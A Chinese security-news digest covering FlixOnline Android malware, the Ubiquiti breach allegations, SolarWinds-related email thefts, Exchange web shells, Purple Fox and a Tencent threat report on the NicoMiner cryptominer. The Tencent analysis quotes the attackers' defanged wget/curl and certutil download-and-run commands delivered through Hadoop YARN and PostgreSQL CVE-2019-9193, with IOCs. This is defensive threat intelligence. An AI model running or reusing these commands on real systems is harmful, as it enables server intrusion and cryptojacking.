分类: 网络攻击

Android 恶意软件冒充 Netflix 劫持 WhatsApp 会话

安全研究人员在Google Play上的一款应用中发现了一个新的Android恶意软件变种,该软件通过承诺免费订阅Netflix来吸引受害者。周三,Check Point Research(CPR)表示,这种 蠕虫类移动恶意软件是在Android应用的官方存储库Google Play商店中被发现的。 这款被称为 “FlixOnline “的恶意软件将自己伪装成一个合法的Netflix应用,似乎重点针对WhatsApp消息应用。COVID-19大流行迫使我们许多人长期呆在家里,商店关门,酒吧关闭,允许外出的次数有限,我们转而使用流媒体服务来打发时间。到2020年底,Netflix的付费用户数突破了2亿大关。很可能是由于COVID-19的刺激,恶意软件运营商决定抓住这一趋势。”FlixOnline “欺诈性应用承诺全球 “无限娱乐”,并因大流行而免费订阅两个月的高级Netflix。 然而,一旦下载,该恶意软件就会 “监听 “WhatsApp的对话,并自动回复带有恶意内容的信息。安装后,该应用会要求获得覆盖权限,这是盗窃服务凭证的常见行为,它还要求忽略电池优化,它可以阻止设备自动关闭软件以节省电力。此外,FlixOnline还要求获得通知权限,使恶意软件能够访问与WhatsApp通信相关的通知。 WhatsApp消息的自动回复包括以下内容,发送给受害者的联系人,”在世界任何地方60天获得2个月的Netflix高级免费服务。”,并且附带一条恶意链接。据研究人员介绍,该恶意软件可以通过恶意链接进一步传播,窃取WhatsApp的对话数据,并在安卓设备上安装后,有能力通过消息服务传播虚假信息或有害内容。 此次活动中使用的恶意链接会将受害者发送到一个虚假的Netflix网站,试图获取用户的信用卡信息和证书。然而,由于该消息是从命令和控制(C2)服务器获取的,其他恶意活动可能会链接到不同的钓鱼网站或恶意软件有效载荷。 在被发现之前,FlixOnline约造成500名受害者,时间大约为两个月,而且该恶意软件很可能会再次出现。CPR将其发现告知谷歌,目前该应用已从Play Store中删除。WhatsApp也被告知该活动,但由于没有可利用的漏洞或问题,恶意软件使用通过消息应用程序传播,因此不需要采取行动。           (消息及封面来源:cnBeta)

Ubiquiti 被指控隐瞒数据泄漏事件

Ubiquiti 是一家专业的消费级路由器厂商,凭借着安全和可管理性赢得市场的认可。不过该公司近日却被指责掩盖一个“灾难性”的安全漏洞,在沉默了 24 小时之后,现在该公司发表了一份声明,并没有否认举报人的说法。 在今年 1 月 11 日发给“第三方云提供商”的公开信中,表示发现了一个轻微的安全漏洞。不过知名网络安全新闻网站 KrebsOnSecurity 报道称,该漏洞实际远比 Ubiquiti 描述的更加严重。一位来自该公司的举报人向 Krebs 透露,Ubiquiti 本身也被黑客入侵,只不过该公司的法律团队阻止了向客户准确报告危险的努力。 黑客获得了对公司 AWS 服务器的完全访问权,因为据称 Ubiquiti 在 LastPass 账户中留下了根管理员的登录信息,黑客可能已经能够访问客户通过公司的云服务设置控制的任何 Ubiquiti 网络设备。 消息人士告诉 Krebs:“他们能够获得单点登录cookie和远程访问的密码学秘密,完整的源代码控制内容,以及签名密钥”。而 Ubiquiti 今天晚上终于发表声明时,公司依然在强调目前没有任何证据表明用户数据被访问或者被盗。 但正如 Krebs 所指出的那样,举报人明确表示,该公司并没有保留日志,而这些日志可以作为该证据,说明谁做了或没有访问被黑的服务器。Ubiquiti 的声明还证实,黑客确实试图向其勒索钱财,但并没有涉及掩盖事实的指控。 “正如我们在1月11日通知您的那样,我们是一起网络安全事件的受害者,该事件涉及未经授权访问我们的IT系统。鉴于布莱恩-克雷布斯的报道,人们对此事产生了新的兴趣和关注,我们希望向我们的社区提供更多信息。 首先,请注意,自1月11日通知以来,我们对客户数据的分析和产品的安全性没有任何变化。针对此次事件,我们利用外部事件响应专家进行了彻底的调查,以确保攻击者被锁定在我们的系统之外。 这些专家没有发现任何证据表明客户信息被访问,甚至是目标。攻击者试图通过威胁发布被盗的源代码和特定的 IT 凭证来敲诈公司,但没有成功,他从未声称访问过任何客户信息。这一点以及其他证据表明,我们相信客户数据不是此次事件的目标,也不是与此次事件有关的其他访问。 在这一点上,我们有充分的证据表明,肇事者是一个对我们的云基础设施有深入了解的人。由于我们正在与执法部门合作进行调查,我们无法进一步评论。 说了这么多,作为预防措施,我们仍然鼓励您更改密码,如果您还没有这样做,包括在您使用相同用户ID或密码的任何网站上。我们也鼓励您在您的Ubiquiti账户上启用双因素认证,如果您还没有这样做。 谢谢您的支持。—Team UI ”         (消息及封面来源:cnBeta)

俄罗斯被怀疑窃取了美国务院的电子邮件

据外媒报道,据两名熟悉此次网络更经济的美国国会消息人士透露,去年,疑似俄罗斯黑客窃取了数千封国务院官员的电子邮件。这是在不到10年时间里由克里姆林宫支持的对美国务院电子邮件服务器发起的第二起已知攻击。 美国会消息人士称,黑客侵入了国防部欧洲和欧亚事务局及东亚和太平洋事务局的电子邮件。第三位官员称,目前看来,这个机密网络还没有被攻破。 目前尚不清楚被盗国务院电子邮件是否是SolarWinds间谍活动的一部分。据悉,SolarWinds是俄罗斯黑客潜入躲美联邦政府和私营部门网络利用的一家软件开发IT公司–在政府和私营机构都有使用。据《华盛顿邮报》(The Washington Post)报道,美国国务院就使用了SolarWinds软件并在漏洞中暴露了自己。 这一具体事件以前没有被报道过。 美国务院发言人在回应有关黑客攻击的问题时称:“国务院有认真履行保护信息安全的责任并不断采取措施确保信息受到保护。出于安全原因,我们目前无法讨论任何所谓网络安全事件的性质或范围。” 负责网络和新兴技术的副国家安全顾问Anne Neuberger在一份声明中指出,白宫对具体机构不予置评。 “去年有几家联邦机构遭到黑客攻击。作为政府SolarWinds审查的一部分,我们发现联邦机构在网络安全防御方面存在巨大漏洞。我们确定了五个具体的网络安全现代化领域、评估了针对这些领域的机构并正在实施一个‘重建更好’计划以迅速资助和推出这些技术进而弥补漏洞并使我们的网络安全方法更现代化,”Neuberger说道。 美国务院电子邮件被盗事件表明,被怀疑是俄罗斯黑客的人获得的美国政府资料比公众此前所知的要多。受影响的办事处负责处理跟北约、欧洲和印度-太平洋伙伴等美国盟友有关的问题。 这次黑客攻击引发了人们对美国国务院网络安全实践的质疑–这是10年内已知的疑似俄罗斯黑客攻入美国务院的电子邮件服务器的第二次。2015年,俄罗斯黑客成功侵入国务院的网络和白宫的电脑。新冠大流行五一加剧了这种风险,因为许多联邦雇员在不那么安全的系统上远程工作。 对此,俄罗斯大使馆发言人没有立即回应置评请求。           (消息来源:cnBeta;封面源自网络)

美国土安全部要员的邮件账户受 SolarWinds 攻击事件影响

美联社报道称,美国土安全部门要员的电子邮件账户,亦受到了 SolarWinds 恶意软件活动的幕后黑手的影响。据悉,这批账户属于特朗普总统在 2019 年 11 月任命的代理国务卿 Chad Wolf,以及负责调查境外威胁的国土安全部官员。 早在 2020 年 12 月,FireEye 网络安全专家就曝光了波及甚广的 SolarWinds 黑客入侵事件,导致成千上万的企业和政府机构在部署恶意更新后被感染。 周一的报道称,疑似俄方黑客入侵了特朗普政府要员的电子邮件账户,而受害者本就负责着与之对抗的工作。 此外上月的消息称,除了百余家私营企业,SolarWinds 黑客还打击了包括国土安全部在内的至少 9 个联邦机构。 截止外媒发稿时,美国土安全部尚未就此事给出回应。不过美联社称,在事件曝光后的几天里,Char Wolf 等人就已经换成了支持加密聊天的软件服务来开展通信。           (消息来源:cnBeta;封面源自网络)

微软分享 Exchange Server 攻击背后的破坏活动情报

许多企业内部的Exchange服务器正在忙着打补丁,但微软警告说,调查发现,在已经被入侵的系统上潜伏着多种威胁。攻击者惯常使用Web Shell脚本来获得服务器上的持久权限,或者攻击者在早期的攻击中就已经窃取了凭证。微软在3月2日发布了Exchange内部系统的补丁。四个Exchange错误已经受到了一个名为Hafnium的国家支持的黑客组织的攻击。 微软本周早些时候表示,已经检测到92%的脆弱的Exchange服务器已经打了补丁或采取了缓解措施。然而,网络安全公司F-Secure表示,已经有 “数万台”Exchange服务器被入侵。 在一篇新的博客文章中,微软重申了它的警告,即 “给系统打补丁并不一定能消除攻击者的访问”。”许多被入侵的系统还没有收到二次行动,例如人为操作的勒索软件攻击或数据外流,这表明攻击者可能正在建立和保留他们的访问权限,以便以后的潜在行动,”微软365 Defender威胁情报团队指出。 在系统被入侵的地方,微软敦促管理员实践最小特权原则,减轻网络上的横向移动。最低权限将有助于解决常见的做法,即Exchange服务或计划任务已被配置为具有高级权限的帐户来执行备份等任务。”由于服务账户凭证不会经常改变,这可以为攻击者提供很大的优势,即使他们由于防病毒检测而失去了最初的Web Shell访问,因为该账户可以用于以后提升权限,”微软指出。 以DoejoCrypt勒索软件(又名DearCry)为例,微软指出,该病毒株使用的web shell会将一个批处理文件写入C:\Windows\Temp\xx.bat。这在所有被DoejoCrypt击中的系统中都被发现,并且可能为攻击者提供了一条重新获得访问的途径,在那里感染已经被检测和删除。 “这个批处理文件会执行安全账户管理器(SAM)数据库以及系统和安全注册表蜂巢的备份,允许攻击者稍后访问系统上本地用户的密码,更关键的是,在注册表的LSA[本地安全]部分,那里存储着服务和计划任务的密码,”微软指出。 即使在受害者没有被勒索的情况下,攻击者使用特殊设计后的xx.bat批处理文件也可以通过当初投放该文件的Web Shell设法继续访问。在下载勒索软件载荷和加密文件之前,Web Shell还会协助下载Cobalt Strike渗透测试套件。换句话说,受害者今天可能没有被勒索,但攻击者已经在网络上留下了明天动手的工具。 Exchange服务器面临的另一个网络犯罪威胁来自于恶意加密货币矿工。据观察,Lemon Duck加密货币僵尸网络就在利用脆弱的Exchange服务器。有趣的是,Lemon Duck的操作者用xx.bat文件和一个Web Shell清理了一台之前已经被黑过的Exchange服务器,使其独占Exchange服务器的权限。微软还发现,服务器被用来安装其他恶意软件,而不仅仅是挖掘加密货币。 微软同时公布了大量的泄密指标,系统管理员可以利用这些指标来搜索这些威胁的存在和凭证被盗的迹象。           (消息及封面来源:cnBeta)

破解 D-Link DIR3060 固件加密-侦查篇

最近,我们发现了一些无法解压的D-Link路由器的固件样本。通过分析类似的更旧、更便宜的设备(DIR882),我们可以找到一种破解固件加密的方法,以防止篡改和静态分析。本系列文章重点介绍了编写自定义解密例程的结果和必要步骤,该例程也可用于其他模型,后续会对此进行更多介绍。 … 更多内容请至Seebug Paper阅读全文:https://paper.seebug.org/1523/           消息来源:Low-level adventures,译者:小江; 本文由 HackerNews.cc 翻译整理,封面来源于网络; 转载请注明“转自 HackerNews.cc ” 并附上原文链接

针对 Windows 的恶意软件正构筑僵尸网络

早在 2018 年,安全研究人员就已经发现了后被命名为 Purple Fox 的 Rootkit 恶意软件,起初攻击者主要利用网络钓鱼电子邮件和漏洞利用工具包进行传播。然而 Guardicore 安全研究人员 Amit Serper 和 Ophir harpaz 在一篇博客文章中指出:在利用了一种全新的感染技术之后,该恶意软件已能够在 Windows 设备间更迅速地传播,且僵尸网络的规模也在不断增长。 研究人员指出,该恶意软件正在对使用弱密码和面向互联网的 Windows 计算机发起新一轮攻击。此外通过利用新的感染技术,其传播速度也得到了极大的增强。 具体说来是,该恶意软件通过针对服务器信息块(简称 SMB)来猜测 Windows 用户帐户的弱密码,进而使 Windows 与其它设备(例如打印机和文件服务器)进行通信和达成传播感染的目的。 一旦获得了易受攻击的计算机的访问权,Purple Fox 就会从将近 2000 台较旧且受感染的 Windows Web 服务器网络中,提取恶意负载并悄悄安装 Rootkit、让恶意软件持久锚定在计算机上,同时更加难以被发现、检测和删除。 研究人员指出,一旦被感染,该恶意软件就会关闭最初用于感染计算机的防火墙端口,这或许可阻止重复感染、或避免被其它攻击者入侵并劫持受害者的计算机。 之后,该恶意软件会生成一份 Internet 地址列表,扫描网络上具有弱密码的易受攻击的设备,以进一步感染和创建一个不断扩大的僵尸网络。 通常情况下,黑客会利用僵尸网络来发起 DDoS 攻击,但也可以用于散播恶意软件和垃圾邮件、或在受感染的计算机上部署加密劫持用户文件的勒索软件。 Guardicore 北美安全研究副总裁 Amit Serper 表示,由于自身传播的能力较强,蠕虫僵尸网络对受害者造成的风险也更大。相较于此前的网络钓鱼和漏洞利用工具包,蠕虫感染技术的“运营成本”也更低。 作为一种“机会主义”的攻击形式,它会不断扫描互联网并寻找更易受攻击的机器,意味着攻击者可以一劳永逸。 根据 Guardicore 的互联网传感器监测数据,自 2020 年 5 月以来,Purple Fox 的感染率已飙升 600%,且实际数量可能会更高(过去一年总计超狗 90000 感染)。             (消息及封面来源:cnBeta)

黑客组织 Kek Security

Kek Security (Keksec)是一个极为活跃的黑客组织,Checkpoint和Netlab360的报告都对其进行了详细分析。Keksec利用多个漏洞,使用多态工具(包括Linux和Windows有效负载)自定义python恶意软件以攻击多个架构。目前该黑客组织正在积极构建IRC僵尸网络,用于DDoS攻击和勒索活动。本文详细介绍了Keksec利用的工具和使用的策略,以及相关黑客的信息。 … 更多内容请至Seebug Paper阅读全文:https://paper.seebug.org/1520/     消息来源:Lacework, 译者:小江; 本文由 HackerNews.cc 翻译整理,封面来源于网络; 转载请注明“转自 HackerNews.cc ” 并附上原文链接

英国官员推特帐户被入侵

近日,NHS Horizons官员的推特帐户被黑客入侵后被用来宣传PS5。据BBC报道称,NHS Horizons高官Helen Bevan发现她的两个推特帐户遭到了黑客的攻击,黑客在黑入后把头像改成了PS5的标识。 由于Bevan没有开启双重身份验证,帐号在经历了几天后才被找回。找回后Bevan发现在私信中有不少人向她询问关于PS5的具体情况。 在随后的推文中,Bevan表示,她希望其他人引以为戒,在推特账户上开启双重身份验证来避免类似的情况。           (消息及封面来源:cnBeta)

使用腾讯安全威胁情报分析:黑灰产工具作者终走向木马开发(新挖矿木马 NicoMiner )

摘要 NicoMiner利用三个漏洞入侵传播: Hadoop Yarn未授权访问漏洞 PostgreSQL未授权漏洞 PostgreSQL提权代码执行漏洞(CVE-2019-9193); 利用漏洞入侵成功后会针对Windows、Linux系统分别投放门罗币矿机; 感染量增长较快,一个月内翻倍,受害服务器约3000台; 针对Windows、Linux两个平台的挖矿木马使用相同的钱包; 关联分析发现疑似作者ID:Nico Jiang; 通过腾讯安图查询历史情报,发现作者疑似从事刷量相关的黑产记录。   一、概述 腾讯安全威胁情报中心捕获一起快速增长的挖矿木马NicoMiner,该木马通过Hadoop Yarn未授权访问漏洞、PostgreSQL未授权及提权代码执行漏洞(CVE-2019-9193)进行入侵攻击,会根据操作系统不同分别植入Windows和Linux平台的门罗币挖矿木马。 由于攻击者使用的域名和样本PDB信息中包含“nico jiang”的ID信息,腾讯安全威胁情报中心将该挖矿木马命名为NicoMiner。根据该挖矿木马使用的钱包算力推算,该木马在近一个月内感染量已翻倍,估计受害服务器已达3000台左右。 进一步溯源分析还发现,“nico jiang”在较早时候已从事黑灰产业,该ID陆续注册了与游戏推广、刷量黑灰产有关的域名,近期启用之前留置的相关网络资源从事挖矿黑产。也不排除近期可能有其他黑客掌控 “nico jiang”曾经注册的相关域名和开发设备,用来制作、传播NicoMiner挖矿木马。 腾讯安全全系列产品已支持对NicoMiner挖矿木马攻击传播的各个环节进行检测防御: 排查和加固 由于NicoMiner挖矿木马的攻击呈现明显增长趋势,腾讯安全专家建议企业客户参考以下步骤对系统进行排查和加固: 1.删除进程和文件: 文件: /*/pgsql-*/data/java.* /*/pgsql/data/java.* /*/postgres/*/data/LinuxTF /tmp/java Windows系统 c:\postgresql\*\data\conhost.exe c:\postgresql\*\data\sqltools.exe c:\windows\temp\st.exe c:\program files\postgresql\data\pg*\sqltools.exe 检查CPU占用高的进程: java LinuxTF conhost.exe sqltools.exe 2.加固系统: Hadoop 1)如果Hadoop环境仅对内网提供服务,请不要将其服务开放到外网可访问。 2)如果必须开启公网访问,Hadoop在2.X以上版本提供了安全认证功能,建议管理员升级并启用Kerberos的认证功能,阻止未经授权的访问。 PostgreSQL 1)修改PostgreSQL的访问配置/data/pgsql/9.3/data/pg_hba.conf,限制不受信任的对象进行访问; 2)谨慎考虑分配pg_read_server_files、pg_write_server_files、pg_execute_server_program 角色权限给数据库客户。 二、样本分析 漏洞入侵 1)Hadoop Yarn未授权访问漏洞 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。客户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。 YARN提供有默认开放在8088和8090的REST API(默认前者)允许客户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,攻击者可以在未授权的情况下远程执行代码。 攻击者通过扫描暴露在公网的的8088端口,发现没有开启特定客户安全认证的集群,并通过YARN RESET API提交应用,提交任务的客户名为dr.who。 攻击者在创建的Hadoop应用中通过Post hxxp://ip:8088/ws/v1/cluster/apps执行恶意命令为: wget hxxp://raw.nicosoft.org/java && chmod x java && ./java || curl -O hxxp://raw.nicosoft.org/java && chmod x java && ./java 该命令从黑客控制的服务器上下载挖矿木马java并启动。 2)PostgreSQL未授权访问漏洞 PostgreSQL未授权访问漏洞主要是由于管理员配置不当形成的。PostgreSQL配置文件在/data/pgsql/9.3/data/pg_hba.conf,如果管理员没有正确的配置信任的主机,(如下图),则会导致任意客户无需密码均可访问PostgreSQL数据库。 3)PostgreSQL提权代码执行漏洞(CVE-2019-9193) 2019年3月安全研究人员披露了PostgreSQL提权代码执行漏洞(CVE-2019-9193)的漏洞细节,具有数据库服务端文件读权限的攻击者利用此漏洞,可执行任意系统命令。 此次披露的漏洞存在于导入导出数据的命令“COPY TO/FROM PROGRAM””中,“pg_read_server_files”组内客户执行上述命令后,可获取数据库超级客户权限,从而执行任意系统命令。该漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新版本),同时也影响了所有的操作系统:Windows,Linux和Mac。 受影响PostgreSQL版本:PostgreSQL >=9.3 攻击者通过批量扫描5432端口发现PostgreSQL服务器,然后利用未授权访问漏洞获得了PostgreSQL数据库的访问权限,接着再利用PostgreSQL提权代码执行漏洞(CVE-2019-9193)根据不同的系统执行以下恶意命令: 针对Linux系统: sh -c curl -O hxxp://raw.nicosoft.org/java && chmod +x java && ./java 针对Windows系统: certutil -urlcache -split -f hxxp://raw.nicosoft.org/conhost.exe conhost.exe&start conhost.exe 挖矿 入侵Linux系统下载的挖矿木马java: 入侵Windows系统后下载的dowanload木马conhost.exe,负责继续下载和启动挖矿木马SqlTools.exe 挖矿木马SqlTools.exe   挖矿使用矿池:xmr.f2pool.com 两种系统下的挖矿木马使用同一个钱包: 42Pv7VF4etz1dDPkjRWDEec2FVoFzSPDYKCsjNXDdusaTShBZZn6nr8GyNsqu8ekjSU17jmu7h6SfLg1Lr3rrJnHVokCbso 钱包收益:7个XMR 过去一个月钱包算力翻番,从150kH/s左右涨到了300kH/s,这也意味着感染的机器翻了一倍,估算在3000台左右。   三、关联分析 分析样本发现,dowanload木马conhost.exe中保留了文件的PDB信息,其中“Nico Jiang”疑似木马作者的ID号。 C:\Users\Nico Jiang\source\repos\NicoSoft\x64\Release\conhost.pdb 通过腾讯安图高级威胁溯源系统查询木马下载使用的域名“raw.nicosoft.org”,同样发现了注册者的名字为“Nico Jiang”,推测该ID号是攻击者的可能性较高。 通过搜索引擎搜索,发现域名注册的QQ邮箱对应QQ号所有者,在某个论坛接一些批量登录工具的开发需求。 该ID注册的另一个域名ns-game.top 通过该域名注册使用的outlook邮箱,查询到在github提交的项目,属于相关平台的辅助管理插件: 结论 从对ID “nico jiang”搜索到的信息来看,可以判断该ID对应的人员是一位软件开发人员,曾经从事一些网站、游戏或知名应用的批量登陆工具,刷量工具的开发,具有一定的灰产属性,而相关记录大都在2016年。 可疑的地方是,注册人显示为”nico jiang”的域名raw.nicosoft.org、ns-game.top的注册时间分别在2017年和2018年,而PDB信息包含”nico jiang”的木马样本conhost.exe编译日期是2021年3月21日(更早的样本也只再2021年2月开始出现),两者相隔较远。 推测可能有两种结论,第一种是”nico jiang”在从事灰产的时候注册了相关域名,并在发现了挖矿具有很大的获利空间之后,转向了制作挖矿木马的黑产,并且使用了之前注册的相关域名来提供下载服务。 第二种是有其他黑产获得了”nico jiang”的域名,以及”nico jiang”所使用过的电脑(PDB路径中的客户名通常是开发机器的客户名)的控制权,并且利用这些资源来开发和传播挖矿木马。根据已有的线索来看,属于第一种情况的可能性较大,腾讯安全威胁情报中心会将相关线索提交给有关部门,以对不法分子进行身份确认和追踪。   三、威胁视角看攻击行为 ATT&CK阶段 行为 侦察 扫描IP端口,确认可攻击目标存在的Web服务:Hadoop Yarn, PostgreSQL等。 资源开发 注册C2服务器,制作downlaoder木马,挖矿木马 初始访问 利用对外开放的Hadoop Yarn, PostgreSQL服务漏洞,植入恶意Payload执行恶意命令进而入侵系统 执行 首先植入恶意脚本执行恶意命令,随后下载挖矿木马 防御规避 木马文件加壳保护,将文件命名伪装为系统文件 影响 门罗币矿机不间断的工作,会导致系统CPU负载过大,大量消耗主机CPU资源,严重影响主机正常服务运行,导致主机有系统崩溃风险。 订阅腾讯安全威胁情报产品,赋能全网安全设备 该团伙相关的威胁数据已加入腾讯安全威胁情报,可赋能给腾讯全系列安全产品,推荐政企客户通过订阅腾讯安全威胁情报产品,让全网安全设备同步具备相应的威胁检测、防御能力。 公有云的安全防护 推荐政企客户在公有云中部署腾讯云防火墙、腾讯主机安全(云镜)等产品检测防御相关威胁。 腾讯云防火墙(云镜)已支持拦截利用PostgreSQL提权代码执行漏洞(CVE-2019-9193)发起的恶意攻击行为。 腾讯主机安全可对病毒攻击过程中产生得木马落地文件进行自动检测,客户可后台一键隔离,删除。 私有云的安全防护 私有云客户可通过腾讯T-Sec高级威胁检测系统进行流量检测分析,及时发现黑客团伙的攻击活动。腾讯T-Sec高级威胁检测系统(御界)可检测到利用PostgreSQL提权代码执行漏洞(CVE-2019-9193)发起的恶意攻击行为。 NicoMiner挖矿木马会危害Linux、Windows双平台系统,推荐企业私有云客户在每台终端、服务器部署腾讯T-Sec零信任无边界访问控制系统(iOA),腾讯iOA集成病毒防护和漏洞修复能力可防御病毒木马对终端和服务器的破坏活动。腾讯iOA通过验证客户身份、设备及应用安全状态确定是否允许客户访问企业业务,确保对企业公有云、私有云以及本地业务的可信访问。无论员工位于何处、使用何设备,都可安全访问企业资源和数据。 腾讯安全响应清单 腾讯安全系列产品针对NicoMiner挖矿木马攻击的具体响应清单如下: 应用场景 安全产品 解决方案 威 胁 情 报 腾讯T-Sec 威胁情报云查服务 (SaaS) 1)威胁情报已加入,可赋能全网安全设备。 各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考: https://cloud.tencent.com/product/tics 腾讯T-Sec 网络空间风险云监测系统 (CCMS) 1)NicoMiner相关情报已加入。 腾讯安全云监测系统,面向行业客户的监管方和被监管方,结合漏洞扫描、涉敏内容检测、全网威胁情报发现能力等,为客户提供全面、及时的互联网风险监测评估服务,并可提供配套安全管家服务,可对相关风险提供有效的响应处理。 腾讯T-Sec 高级威胁追溯系统 1)NicoMiner相关情报已支持检索,可自动关联分析到该病毒家族最新变种,使用资产。 网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。腾讯T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts 云原生安全 防护 云防火墙 (Cloud  Firewall,CFW) 基于网络流量进行威胁检测与主动拦截,阻断恶意攻击流量,阻断恶意通信流量: 1)NicoMiner相关联的IOCs已支持识别检测; 2)已支持检测以下漏洞利用攻击: Hadoop未授权访问漏洞、Postgres提权代码执行漏洞CVE-2019-9193 有关云防火墙的更多信息,可参考: https://cloud.tencent.com/product/cfw 腾讯T-Sec  主机安全 (Cloud Workload Protection,CWP) 1)云镜已支持NicoMiner关联模块的检测告警,查杀清理。 2)已支持检测主机存在的以下相关漏洞: Hadoop未授权访问漏洞、Postgres未授权访问漏洞 腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp 腾讯T-Sec 安全运营中心 (SOC) 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。 关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html 非云企业安全防护 腾讯T-Sec 高级威胁检测系统 (腾讯御界) 基于网络流量进行威胁检测,已支持: 1)NicoMiner相关联的IOCs已支持识别检测; 2)已支持检测以下漏洞利用攻击: Hadoop未授权访问漏洞、Postgres提权代码执行漏洞CVE-2019-9193 关于T-Sec高级威胁检测系统的更多信息,可参考: https://cloud.tencent.com/product/nta 腾讯T-Sec 零信任无边界 访问控制系统 (iOA) 1)已支持NicoMiner关联模块的检测告警,查杀清理。 零信任无边界访问控制系统(iOA)是腾讯结合自身丰富的网络安全管理实践经验与“零信任”理念,推出的网络边界访问管控整体解决方案。更多资料,可参考:https://s.tencent.com/product/ioa/index.html   IOCs Domain raw.nicosoft.org IP 154.91.1.27(ZoomEye搜索结果) Md5 Java df840b3decb91ae7480b2ccf95df9f9a Java dba1ef891aed1c769014a0d3aa5ed321 Java 1aa6a96f4a6fcc5c4309f2406d3479ba CONHOST.EXE 32b8a44ee3214ab56e1edbaa016918c7 CONHOST.EXE 0a31ae5882697455a071f73191ed661c CONHOST.EXE 2c31a7243f00afe467e2994d3c249024 conhost.exe bf825890526386dd96e82d2ce57e0303 SqlTools.exe 84757d6b1a94021f246d14b37c1015b8 task.exe 52cd60289ffe8e14c5aa6cb8ea8ad730 LinuxTF f453b9c09ea2fb6a194b5d81d515b0e8 URL hxxp://raw.nicosoft.org/SqlTools.exe hxxp://nicosoft.org/SqlTools.exe hxxp://154.91.1.27/SqlTools.exe hxxp://nicosoft.org/sqltools.exe hxxp://154.91.1.27/sqltools.exe hxxp://raw.nicosoft.org/java hxxp://raw.nicosoft.org/conhost.exe hxxp://154.91.1.27/task.exe hxxp://154.91.1.27/conhost.exe hxxp://154.91.1.27/WinRing0x64.sys hxxp://154.91.1.27/LinuxTF   参考链接: https://s.tencent.com/research/report/1206.html https://s.tencent.com/research/report/1175.html https://cloud.tencent.com/developer/article/1472565